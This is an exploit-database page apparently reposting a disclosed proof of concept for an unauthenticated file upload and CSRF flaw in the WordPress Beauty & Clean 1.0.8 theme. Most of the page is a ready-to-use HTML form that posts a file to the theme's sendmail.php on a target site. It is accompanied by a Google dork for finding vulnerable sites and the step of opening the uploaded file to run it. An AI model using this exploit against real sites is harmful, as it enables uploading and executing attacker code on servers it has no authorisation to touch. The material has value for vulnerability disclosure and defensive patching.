[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

WordPress Beauty & Clean 1.0.8 Theme - Arbitrary File Upload

Author
Colette Chamberland
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-24954
Category
web applications
Date add
11-03-2016
Platform
php
* Exploit Title: Wordpress Beauty Theme File Upload Vulnerability v1.0.8
* Discovery Date: 02.09.2016
* Public Disclosure Date:03.09.2016
* Vendor Homepage: http://www.yourinspirationweb.com
* Exploit Author: Colette Chamberland (Wordfence)
* Contact: colette@wordfence.com
* Version: 1.0.8 (may affect newer versions but this was all I had)
* Tested on: Wordpress 4.2.x-4.4.x
  
Description
================================================================================
 The Beauty Premium theme contains a contact form that is vulnerable to CSRF
 and File Upload vulnerability in the sendmail.php file. The file attachment
 gets uploaded to the wordpress upload directory and it is not sanitized,
 allowing attackers to upload harmful code. 
  
  
PoC
================================================================================
Google Dork inurl:themes/beauty-premium/ or detect via WPScan:
 
<form method="post" action="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" enctype="multipart/form-data">
<input type="text" name="yiw_contact[name]" id="name-test" class="required" value="test" />
<input type="text" name="yiw_contact[email]" id="email-test" class="required email-validate" value="test@nowhere.com" />
<input type="text" name="yiw_contact[phone]" id="phone-test" class="" value="1234567890" />
<input type="text" name="yiw_contact[website]" id="website-test" class="" value="http://www.blah.com" />
<textarea name="yiw_contact[message]" id="message-test" rows="8" cols="30" class="required">This is a FUV test</textarea>
<input type="file" name="yiw_contact[file]" allow="text/*" maxlength="50">
<li class="submit-button">
<input type="hidden" name="yiw_action" value="sendemail" id="yiw_action" />
<input type="hidden" name="yiw_referer" value="http://[target]/wp-content/themes/beauty-premium/includes/sendmail.php" />
<input type="hidden" name="id_form" value="test" />
<input type="submit" name="yiw_sendemail" value="send message" class="sendmail alignright" />         </li>
</form>
 
You will receive a 404 error after posting, but navigate to the sites upload directory and access your uploaded file directly.

#  0day.today [2024-11-16]  #